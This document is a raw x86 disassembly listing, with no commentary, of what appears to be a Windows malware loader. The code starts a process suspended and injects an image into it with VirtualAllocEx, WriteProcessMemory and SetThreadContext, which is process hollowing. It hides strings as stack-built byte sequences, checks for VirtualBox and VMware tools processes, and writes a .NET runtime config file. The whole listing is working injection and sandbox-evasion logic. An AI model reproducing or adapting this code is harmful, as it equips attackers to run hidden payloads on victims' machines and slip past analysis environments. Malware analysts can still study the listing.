mov word [ebp - 0x5ec], 0x35
mov word [ebp - 0x5ea], 0x30
mov word [ebp - 0x5e8], 0x37
mov word [ebp - 0x5e6], 0x32
mov word [ebp - 0x5e4], 0x37
mov word [ebp - 0x5e2], ax
mov word [ebp - 0x5e0], 0x43
mov word [ebp - 0x5de], 0x61
mov word [ebp - 0x5dc], 0x73
mov word [ebp - 0x5da], 0x50
mov word [ebp - 0x5d6], 0x6c
mov word [ebp - 0x5d2], bx
mov word [ebp - 0x5d0], 0x78
mov word [ebp - 0x5ce], bx
mov word [ebp - 0x5cc], si
call edi
mov edi, dword [ebp - 0x114]
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x230]
add esp, 0x28
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x6ac]
push eax
push ecx
push 0
inc edx
push 0
push 4
mov dword [ebp - 0x20], edx
push 0
push 0
lea edx, [ebp - 0xcec]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
or eax, eax
je 0x408af0
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x978]
push eax
push ecx
mov dword [ebp - 0x978], 0x10007
call dword [ebp - 0x650]
mov eax, dword [ebp - 0x8c8]
mov ecx, dword [ebp - 0x30]
push 0
lea edx, [ebp - 0x94]
push 4
push edx
push eax
push ecx
call dword [ebp - 0x634]
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x30]
push edx
push eax
call dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x30]
push ecx
push edx
call dword [ebp - 0x11c]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call dword [ebp - 0x11c]
mov edx, dword [esi + 0x34]
mov eax, dword [ebp - 0x30]
push edx
push eax
call dword [ebp - 0x11c]
mov ecx, dword [esi + 0x34]
mov edx, dword [ebp - 0x30]
push ecx
push edx
call dword [ebp - 0x11c]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], 0
cmp eax, 0x5a
mov eax, dword [ebp - 0x20]
jne 0x40826d
and eax, 0x80000001
jns 0x408231
dec eax
or eax, 0xfffffffe
inc eax
push pe_nt_image_headers32
push 0x3000
jne 0x40823f
mov ecx, dword [esi + 0x50]
jmp 0x408248
mov eax, dword [esi + 0x50]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
mov edx, dword [esi + 0x34]
mov eax, dword [ebp - 0x30]
shl ecx, 2
push ecx
push edx
push eax
call edi
or eax, eax
mov dword [ebp - 0x18], eax
jne 0x4082d8
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call dword [ebp - 0x234]
jmp 0x408af0
cmp eax, 0x50
jl 0x408290
mov edx, dword [esi + 0x50]
mov eax, dword [esi + 0x34]
mov ecx, dword [ebp - 0x30]
push pe_nt_image_headers32
shl edx, 2
push 0x3000
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
jmp 0x4082c1
and eax, 0x80000001
jns 0x40829c
dec eax
or eax, 0xfffffffe
inc eax
mov eax, dword [esi + 0x50]
push pe_nt_image_headers32
push 0x3000
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
jne 0x4082b3
shl edx, 3
jmp 0x4082b6
shl edx, 2
mov eax, dword [esi + 0x34]
mov ecx, dword [ebp - 0x30]
push edx
push eax
push ecx
call edi
or eax, eax
mov dword [ebp - 0x18], eax
jne 0x4082d8
mov edx, dword [ebp - 0x30]
push eax
push edx
call dword [ebp - 0x234]
jmp 0x408af0
push pe_nt_image_headers32
push 0x3000
add eax, 0xfff00000
push 0x100000
push eax
mov eax, dword [ebp - 0x30]
push eax
call edi
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x30]
mov ebx, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0
push 0x190
push edi
push eax
push ecx
call ebx
mov edx, dword [esi + 0x54]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
push 0
push edx
push edi
push eax
push ecx
call ebx
sub eax, eax
cmp word [esi + 6], ax
mov dword [ebp - 0x34], eax
jbe 0x408381
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edi + 0x3c]
add edx, edi
push 0
mov ecx, dword [edx + eax + 0x108]
lea ebx, [edx + eax + 0xf8]
mov eax, dword [ebp - 0x18]
push ecx
mov edx, dword [ebx + 0x14]
mov ecx, dword [ebp - 0x30]
add edx, edi
push edx
mov edx, dword [ebx + 0xc]
add eax, edx
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, dword [ebx + 0x10]
mov ecx, dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c]
add eax, ecx
add edx, 0x28
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], edx
xor edx, edx
inc eax
mov dx, word [esi + 6]
mov dword [ebp - 0x34], eax
cmp eax, edx
jl 0x408327
xor ebx, ebx
cmp word [esi + 6], bx
jbe 0x4083da
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x3c]
add eax, edi
push 0
mov edx, dword [eax + ecx + 0x108]
lea eax, [eax + ecx + 0xf8]
push edx
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x5a4]
add ecx, edi
push ecx
mov ecx, dword [ebp - 0x18]
add edx, eax
mov eax, dword [ebp - 0x30]
add edx, ecx
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov ecx, dword [ebp - 0x1c]
inc ebx
add ecx, 0x28
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov cx, word [esi + 6]
cmp ebx, ecx
jl 0x40838c
mov ecx, dword [ebp - 0x8d4]
lea edx, [ebp - 0x98]
push edx
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 0x18]
push 4
add ecx, 8
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, dword [ebp - 0x230]
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x978]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x2c]
add ecx, edi
push edx
push eax
mov dword [ebp - 0x8c8], ecx
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov dword [ebp - 0x34], 0
pushal
mov ebx, dword fs:[0x18]
mov eax, dword fs:[0x30]
mov ebx, dword [eax + 0xa8]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x34], eax
popal
cmp dword [ebp - 0x34], 5
je 0x4084b7
mov esi, dword [ebp - 0x230]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x640]
push 0
mov eax, dword [esi + 0x50]
lea edx, [ebp - 0x1c]
push 4
push edx
lea ecx, [eax + eax*4]
mov eax, dword [edi + 0x3c]
shl ecx, 2
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x50]
mov eax, dword [ebp - 0x30]
push edx
push eax
call ebx
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x130]
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x124]
mov eax, dword [esi + 0x50]
mov edx, dword [edi + 0x3c]
shl eax, 1
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
push 0
lea ecx, [ebp - 0x1c]
push 4
push ecx
lea ecx, [eax + edx + 0x50]
mov edx, dword [ebp - 0x30]
push ecx
push edx
call ebx
cmp dword [ebp + 8], 0xa
jne 0x4089af
push 0x6f
pop eax
push ebx
pop ebx
mov dl, 0x75
mov cl, 0x72
mov bl, 0x74
mov byte [ebp - 0xf0], 0x3c
mov byte [ebp - 0xef], 0x63
mov byte [ebp - 0xee], al
mov byte [ebp - 0xed], 0x6e
mov byte [ebp - 0xec], 0x66
mov byte [ebp - 0xeb], 0x69
mov byte [ebp - 0xea], 0x67
mov byte [ebp - 0xe9], dl
mov byte [ebp - 0xe8], cl
mov byte [ebp - 0xe7], 0x61
mov byte [ebp - 0xe6], bl
mov byte [ebp - 0xe5], 0x69
mov byte [ebp - 0xe4], al
mov byte [ebp - 0xe3], 0x6e
mov byte [ebp - 0xe2], 0x3e
mov byte [ebp - 0xe1], 0x3c
mov byte [ebp - 0xe0], 0x73
mov byte [ebp - 0xdf], bl
mov byte [ebp - 0xde], 0x61
mov byte [ebp - 0xdd], cl
mov byte [ebp - 0xdc], bl
mov byte [ebp - 0xdb], dl
mov byte [ebp - 0xda], 0x70
mov byte [ebp - 0xd9], 0x3e
mov byte [ebp - 0xd8], 0x3c
mov byte [ebp - 0xd7], 0x73
mov byte [ebp - 0xd6], dl
mov byte [ebp - 0xd5], 0x70
mov byte [ebp - 0xd4], 0x70
mov byte [ebp - 0xd3], al
mov byte [ebp - 0xd2], cl
mov byte [ebp - 0xd1], bl
mov byte [ebp - 0xd0], 0x65
mov byte [ebp - 0xcf], 0x64
mov byte [ebp - 0xce], 0x52
mov byte [ebp - 0xcd], dl
mov byte [ebp - 0xcc], 0x6e
mov byte [ebp - 0xcb], bl
mov byte [ebp - 0xca], 0x69
mov byte [ebp - 0xc9], 0x6d
mov byte [ebp - 0xc8], 0x65
mov byte [ebp - 0xc7], 0x20
mov byte [ebp - 0xc6], 0x76
mov byte [ebp - 0xc5], 0x65
mov byte [ebp - 0xc4], cl
mov byte [ebp - 0xc3], 0x73
mov byte [ebp - 0xc2], 0x69
mov byte [ebp - 0xc1], al
mov byte [ebp - 0xc0], 0x6e
mov byte [ebp - 0xbf], 0x3d
mov byte [ebp - 0xbe], 0x22
mov byte [ebp - 0xbd], 0x76
mov byte [ebp - 0xbc], 0x34
mov byte [ebp - 0xbb], 0x2e
mov byte [ebp - 0xba], 0x30
mov byte [ebp - 0xb9], 0x22
mov byte [ebp - 0xb8], 0x2f
mov byte [ebp - 0xb7], 0x3e
mov byte [ebp - 0xb6], 0x3c
mov byte [ebp - 0xb5], 0x2f
mov byte [ebp - 0xb4], 0x73
mov byte [ebp - 0xb3], bl
mov byte [ebp - 0xb2], 0x61
mov byte [ebp - 0xb1], cl
mov byte [ebp - 0xb0], bl
mov byte [ebp - 0xaf], dl
mov byte [ebp - 0xae], 0x70
mov byte [ebp - 0xad], 0x3e
mov byte [ebp - 0xac], 0x3c
mov byte [ebp - 0xab], 0x2f
mov byte [ebp - 0xaa], 0x63
mov byte [ebp - 0xa9], al
mov byte [ebp - 0xa8], 0x6e
mov byte [ebp - 0xa7], 0x66
mov byte [ebp - 0xa6], 0x69
mov byte [ebp - 0xa5], 0x67
mov byte [ebp - 0xa4], dl
mov byte [ebp - 0x9f], al
mov word [ebp - 0x52c], ax
mov byte [ebp - 0xa3], cl
lea eax, [ebp - 0xcec]
lea ecx, [ebp - 0x290c]
push eax
push ecx
mov byte [ebp - 0xa2], 0x61
mov byte [ebp - 0xa1], bl
mov byte [ebp - 0xa0], 0x69
mov byte [ebp - 0x9e], 0x6e
mov byte [ebp - 0x9d], 0x3e
mov byte [ebp - 0x9c], 0xd
mov byte [ebp - 0x9b], 0xa
mov word [ebp - 0x530], 0x2e
mov word [ebp - 0x52e], 0x63
mov word [ebp - 0x52a], 0x6e
mov word [ebp - 0x528], 0x66
mov word [ebp - 0x526], 0x69
mov word [ebp - 0x524], 0x67
mov word [ebp - 0x522], 0
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea edx, [ebp - 0x530]
lea eax, [ebp - 0x290c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x10
lea ecx, [ebp - 0x10d4]
lea edx, [ebp - 0xcec]
push 8
push ecx
push edx
call dword [ebp - 0x5a8]
lea eax, [ebp - 0xcec]
push 0
lea ecx, [ebp - 0x16c4]
push eax
push ecx
call dword [ebp - 0x658]
mov esi, eax
test esi, esi
jne 0x4087f8
lea edx, [ebp - 0xcec]
push 8
lea eax, [ebp - 0x10d4]
push edx
push eax
call dword [ebp - 0x5a8]
push esi
push esi
push 2
push esi
push esi
lea ecx, [ebp - 0x290c]
push 0x40000000
push ecx
call dword [ebp - 0x40]
lea edx, [ebp - 0xf8]
mov edi, eax
push esi
push edx
lea eax, [ebp - 0xf0]
push 0x56
push eax
push edi
call dword [ebp - 0x65c]
push edi
call dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x130]
mov dword [ebp - 0x34], 0
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x130]
push 2
call dword [ebp - 0x3c]
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x12f4]
mov dword [ebp - 0x12f8], 0
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x28]
push eax
push 8
call dword [ebp - 0x118]
lea ecx, [ebp - 0x12f8]
push eax
pop edi
mov al, 0x6c
push ecx
push edi
mov byte [ebp - 0x8c], 0x53
mov byte [ebp - 0x8b], 0x79
mov byte [ebp - 0x8a], 0x73
mov byte [ebp - 0x89], bl
mov byte [ebp - 0x88], 0x65
mov byte [ebp - 0x87], 0x6d
mov byte [ebp - 0x86], 0x2e
mov byte [ebp - 0x85], 0x6e
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x2e
mov byte [ebp - 0x82], 0x64
mov byte [ebp - 0x81], al
mov byte [ebp - 0x80], al
mov byte [ebp - 0x7f], 0
mov dword [ebp - 0x12f8], 0x224
call dword [ebp - 0x654]
test eax, eax
je 0x4088f5
lea edx, [ebp - 0x12f8]
push edx
push edi
call dword [ebp - 0x5c8]
test eax, eax
je 0x4088f5
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0x12d8]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x40891b
lea edx, [ebp - 0x12f8]
push edx
push edi
call dword [ebp - 0x5c8]
or eax, eax
jne 0x4088c8
mov edi, dword [ebp - 0x34]
cmp edi, 0x3e7
jg 0x408936
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x124]
inc edi
cmp edi, 0x3e8
mov dword [ebp - 0x34], edi
jge 0x408936
jmp 0x408809
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x124]
push edi
call dword [ebp - 0x38]
lea edx, [ebp - 0x290c]
push edx
call dword [ebp - 0x5ac]
test esi, esi
je 0x4089af
mov ebx, dword [ebp - 0x130]
mov edi, dword [ebp - 0x3c]
xor esi, esi
mov eax, dword [ebp - 0x2c]
push eax
call ebx
push 2
call edi
lea ecx, [ebp - 0xcec]
push ecx
call dword [ebp - 0x5ac]
or eax, eax
jne 0x408977
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x124]
inc esi
cmp esi, 0x3e8
jl 0x408945
xor esi, esi
jmp 0x408988
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x124]
sub esi, esi
jmp 0x408988
mov edi, dword [ebp - 0x3c]
push 5
call edi
lea ecx, [ebp - 0xcec]
push 8
lea edx, [ebp - 0x10d4]
push ecx
push edx
call dword [ebp - 0x5a8]
test eax, eax
jne 0x4089af
inc esi
cmp esi, 0x3e8
jl 0x408985
mov eax, dword [ebp - 0x2c]
push eax
call dword [ebp - 0x130]
mov esi, dword [ebp + 8]
cmp esi, 7
je 0x4089cf
cmp esi, 0x14
je 0x4089cf
cmp esi, 0xa
jne 0x408aff
sub edi, edi
lea ecx, [ebp - 0x1ad4]
push edi
push 0x1c
push ecx
push edi
mov word [ebp - 0x10c], 0x5c
mov word [ebp - 0x10a], 0x43
mov word [ebp - 0x108], 0x53
mov word [ebp - 0x106], 0x49
mov word [ebp - 0x104], 0x44
mov word [ebp - 0x102], 0x4c
mov word [ebp - 0x100], 0x5f
mov word [ebp - 0xfe], 0x58
mov word [ebp - 0xfc], di
mov word [ebp - 0x5c], 0x2e
mov word [ebp - 0x5a], 0x54
mov word [ebp - 0x58], 0x4d
mov word [ebp - 0x56], 0x50
mov word [ebp - 0x54], di
call dword [ebp - 0x5a0]
lea edx, [ebp - 0x10c]
lea eax, [ebp - 0x1ad4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
lea ecx, [ebp - 0x1cdc]
push 0x104
push ecx
push edi
call dword [ebp - 0x220]
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x1cdc]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
or eax, eax
jne 0x408ac3
push edi
push edi
push 3
push edi
push 1
lea ecx, [ebp - 0x1ad4]
push 0x80000000
push ecx
call dword [ebp - 0x40]
cmp eax, 0xffffffff
je 0x408ac3
push eax
call dword [ebp - 0x38]
push 0x1388
call dword [ebp - 0x3c]
lea edx, [ebp - 0x1ad4]
push edx
call dword [ebp - 0x5ac]
cmp esi, 0x14
jne 0x408ad0
push 0x7530
call dword [ebp - 0x3c]
push 0
call dword [ebp - 0x59c]
push eax
call dword [ebp - 0x234]
mov esi, dword [ebp - 0x230]
mov edi, dword [ebp - 0x114]
push 0x65
pop ebx
nop
nop
cmp dword [ebp - 0x20], 0xc8
jl 0x408158
jmp 0x408b04
push 0x65
pop ebx
pushal
popal
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
cmp eax, 4
jne 0x408c1d
lea ecx, [ebp + 0xc]
xor ebx, ebx
lea eax, [ebp - 0x62c]
push ecx
push 8
mov dword [ebp + 8], ebx
mov dword [ebp - 0x114], eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], bl
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], bl
mov byte [ebp - 0x67], 5
call dword [ebp - 0x59c]
push eax
call dword [ebp - 0x664]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0x648]
lea edx, [ebp + 8]
push edx
push eax
push ebx
push 2
push ecx
call edi
mov edx, dword [ebp + 8]
push edx
push pe_nt_image_headers32
call dword [ebp - 0x64c]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push eax
pop esi
lea eax, [ebp + 8]
push eax
push ecx
push esi
push 2
push edx
call edi
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x6c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
push ecx
call dword [ebp - 0x660]
cmp dword [esi], ebx
jbe 0x408bfd
lea edi, [esi + 4]
mov edx, dword [edi]
mov eax, dword [ebp - 0x114]
push edx
push eax
call dword [ebp - 0x668]
test eax, eax
je 0x408bf3
lea ecx, [ebp - 0xf8]
lea edx, [ebp + 8]
push ecx
lea eax, [ebp - 0x15bc]
push edx
lea ecx, [ebp + 8]
mov dword [ebp + 8], 0x100
push eax
mov eax, dword [edi]
lea edx, [ebp - 0xfcc]
push ecx
push edx
push eax
push 0
call dword [ebp - 0x638]
test byte [edi + 4], 4
jne 0x408c0d
mov eax, dword [esi]
inc ebx
add edi, 8
cmp ebx, eax
jb 0x408baa
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x38]
xor al, al
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x38]
mov al, 1
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
cmp eax, 5
jne 0x408cf7
mov ecx, 0x81
sub eax, eax
lea edi, [ebp - 0xcea]
mov word [ebp - 0xcec], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xcec]
push 0x104
push eax
push 0
call dword [ebp - 0x220]
mov esi, dword [ebp - 0x40]
push 0
push 0
push 2
push 0
push 1
lea ecx, [ebp - 0xcec]
push 0x80000000
push ecx
call esi
cmp eax, 0xffffffff
jne 0x409c4c
push 0
push 0
push 3
push 0
push 2
lea edx, [ebp - 0xcec]
push 0x40000000
push edx
call esi
cmp eax, 0xffffffff
jne 0x409c4c
push 0
push 0
push 3
push 0
push 1
lea eax, [ebp - 0xcec]
push 0x80000000
push eax
call esi
push eax
pop edi
cmp edi, 0xffffffff
je 0x409c4c
push 0
push 0
push 5
push 0
push 2
lea ecx, [ebp - 0xcec]
push 0x40000000
push ecx
call esi
cmp eax, 0xffffffff
jne 0x409c4c
mov esi, dword [ebp - 0x38]
push eax
call esi
push 0xffffffffffffffff
call esi
push edi
call esi
push 0xffffffffffffffff
call esi
xor al, al
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
cmp eax, 6
jne 0x408e47
push 0
push 2
mov byte [ebp - 0x30], 0x56
mov byte [ebp - 0x2f], 0x42
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x78
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x76
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], 0
mov byte [ebp - 0x5c], 0x76
mov byte [ebp - 0x5b], 0x6d
mov byte [ebp - 0x5a], 0x74
mov byte [ebp - 0x59], 0x6f
mov byte [ebp - 0x58], 0x6f
mov byte [ebp - 0x57], 0x6c
mov byte [ebp - 0x56], 0x73
mov byte [ebp - 0x55], 0x64
mov byte [ebp - 0x54], 0x2e
mov byte [ebp - 0x53], bl
mov byte [ebp - 0x52], 0x78
mov byte [ebp - 0x51], bl
mov byte [ebp - 0x50], 0
call dword [ebp - 0x118]
push eax
pop ebx
pushal
popal
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0xc08]
mov dword [ebp - 0xc0c], 0
cmp ebx, 0xffffffff
rep stosd dword es:[edi], eax
je 0x409c4c
push pe_nt_image_headers32
pop ecx
push ebx
pop ebx
lea edi, [ebp - 0xfcf]
mov byte [ebp - 0xfd0], al
lea edx, [ebp - 0xfd0]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x103
push edx
push 0
mov dword [ebp - 0xc0c], 0x128
stosb byte es:[edi], al
call dword [ebp - 4]
push eax
call dword [ebp - 0x5b8]
lea eax, [ebp - 0xc0c]
push eax
push ebx
call dword [ebp - 0x644]
or eax, eax
je 0x408e2d
mov edi, dword [ebp - 0x48]
lea ecx, [ebp - 0xc0c]
push ecx
push ebx
call edi
test eax, eax
je 0x408e2d
lea edx, [ebp - 0xbe8]
lea eax, [ebp - 0x30]
push edx
push eax
call esi
add esp, 8
or eax, eax
jne 0x408e3a
lea ecx, [ebp - 0xbe8]
lea edx, [ebp - 0x5c]
push ecx
push edx
call esi
add esp, 8
or eax, eax
jne 0x408e3a
lea eax, [ebp - 0xc0c]
push eax
push ebx
call edi
test eax, eax
jne 0x408df7
push ebx
call dword [ebp - 0x38]
xor al, al
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
push ebx
call dword [ebp - 0x38]
mov al, 1
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
test eax, eax
jne 0x408e5b
push eax
call dword [ebp - 0x5b4]
xor al, al
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
cmp eax, 1
jne 0x409c4c
push pe_nt_image_headers32
pop ecx
pushal
popal
sub eax, eax
lea edi, [ebp - 0xfcf]
mov byte [ebp - 0xfd0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push pe_nt_image_headers32
pop ecx
pushal
popal
xor eax, eax
lea edi, [ebp - 0x15bf]
mov byte [ebp - 0x15c0], 0
rep stosd dword es:[edi], eax
mov esi, dword [ebp - 0x25c]
lea ecx, [ebp - 0xfd0]
stosw word es:[edi], ax
push 0x104
push ecx
stosb byte es:[edi], al
mov byte [ebp - 0x4c], 0x6d
mov byte [ebp - 0x4b], 0x79
mov byte [ebp - 0x4a], 0x61
mov byte [ebp - 0x49], 0x70
mov byte [ebp - 0x48], 0x70
mov byte [ebp - 0x47], 0x2e
mov byte [ebp - 0x46], bl
mov byte [ebp - 0x45], 0x78
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x8c], bl
mov byte [ebp - 0x8b], 0x78
mov byte [ebp - 0x8a], 0x70
mov byte [ebp - 0x89], 0x6c
mov byte [ebp - 0x88], 0x6f
mov byte [ebp - 0x87], 0x72
mov byte [ebp - 0x86], bl
mov byte [ebp - 0x85], 0x72
mov byte [ebp - 0x84], 0x2e
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0x78
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x2e
mov byte [ebp - 0x7f], 0x5c
mov byte [ebp - 0x7e], 0
call esi
lea edx, [ebp - 0x15c0]
push 0x104
push edx
call esi
lea edi, [ebp - 0x4c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xfd0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0xfcd], 0
mov esi, edi
push edx
pop edi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
lea edx, [ebp - 0x15c0]
and ecx, 3
mov byte [ebp - 0x15b5], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x8c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
push edx
pop edi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
push edx
pop ecx
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, edx
push 3
push eax
and ecx, 3
push 1
lea eax, [ebp - 0xfd0]
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [ebp - 0x120]
cmp eax, 0xffffffff
jne 0x409c4c
push 0
push 0
push 3
push 0
push 2
lea ecx, [ebp - 0x15c0]
push 0
push ecx
call dword [ebp - 0x120]
cmp eax, 0xffffffff
jne 0x409c4c
mov ecx, 0x81
sub eax, eax
lea edi, [ebp - 0x18ca]
mov word [ebp - 0x18cc], 0
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x18cc]
push 0x104
push edx
push 0
stosw word es:[edi], ax
call dword [ebp - 0x220]
mov edi, dword [ebp - 0x40]
push 0
push 0
push 3
push 0
push 1
lea eax, [ebp - 0x18cc]
push 0x80000000
push eax
call edi
push 0
push eax
mov dword [ebp - 0x40], eax
call dword [ebp - 0x60]
lea ecx, [ebp - 0x18cc]
mov dword [ebp + 8], eax
push ecx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
lea edx, [ebp - 0x18cc]
mov word [ebp + eax*2 - 0x18ce], 0x5f
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edx
call edi
push eax
pop esi
cmp esi, 0xffffffff
je 0x409080
push 0
push esi
call dword [ebp - 0x60]
add dword [ebp + 8], eax
push 0
lea eax, [ebp - 0x1ad4]
push 0x1c
push eax
push 0
call dword [ebp - 0x5a0]
lea ecx, [ebp - 0x530]
lea edx, [ebp - 0x1ad4]
push ecx
push edx
mov word [ebp - 0x530], 0x5c
mov word [ebp - 0x52e], 0x43
mov word [ebp - 0x52c], 0x53
mov word [ebp - 0x52a], 0x49
mov word [ebp - 0x528], 0x44
mov word [ebp - 0x526], 0x4c
mov word [ebp - 0x524], 0x5f
mov word [ebp - 0x522], 0
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 8
lea eax, [ebp - 0x1ad4]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call edi
mov edi, eax
cmp edi, 0xffffffff
je 0x40911a
push 0
push edi
call dword [ebp - 0x60]
add dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
push pe_nt_image_headers32
add ecx, 0x400
push 0x3000
push ecx
push 0
call dword [ebp - 0x5c4]
lea edx, [ebp - 0x118]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x40]
push 0
push edx
push 0
push eax
call dword [ebp - 0x60]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x40]
push eax
push ecx
push edx
call dword [ebp - 0x90]
cmp esi, 0xffffffff
je 0x409188
lea eax, [ebp - 0x118]
push 0
push eax
push 0
push esi
call dword [ebp - 0x60]
mov ecx, dword [ebp - 0x40]
push eax
push 0
push ecx
call dword [ebp - 0x60]
add eax, dword [ebp + 0xc]
push eax
push esi
call dword [ebp - 0x90]
push esi
mov esi, dword [ebp - 0x38]
call esi
jmp 0x40918b
mov esi, dword [ebp - 0x38]
cmp edi, 0xffffffff
je 0x4091bb
lea edx, [ebp - 0x118]
push 0
push edx
push 0
push edi
call dword [ebp - 0x60]
push eax
push 0
push edi
call dword [ebp - 0x60]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
add ecx, edx
sub ecx, eax
push ecx
push edi
call dword [ebp - 0x90]
push edi
call esi
push 0xffffffffffffffff
call esi
push 0xffffffffffffffff
call esi
mov eax, dword [ebp - 0x40]
push eax
call esi
mov edx, dword [ebp + 8]
xor eax, eax
sub ecx, ecx
sub esi, esi
cmp edx, eax
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x90], eax
jbe 0x40927a
mov esi, dword [ebp + 0xc]
push 0xa
pop edx
push ebx
pop ebx
sub edx, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x48], edx
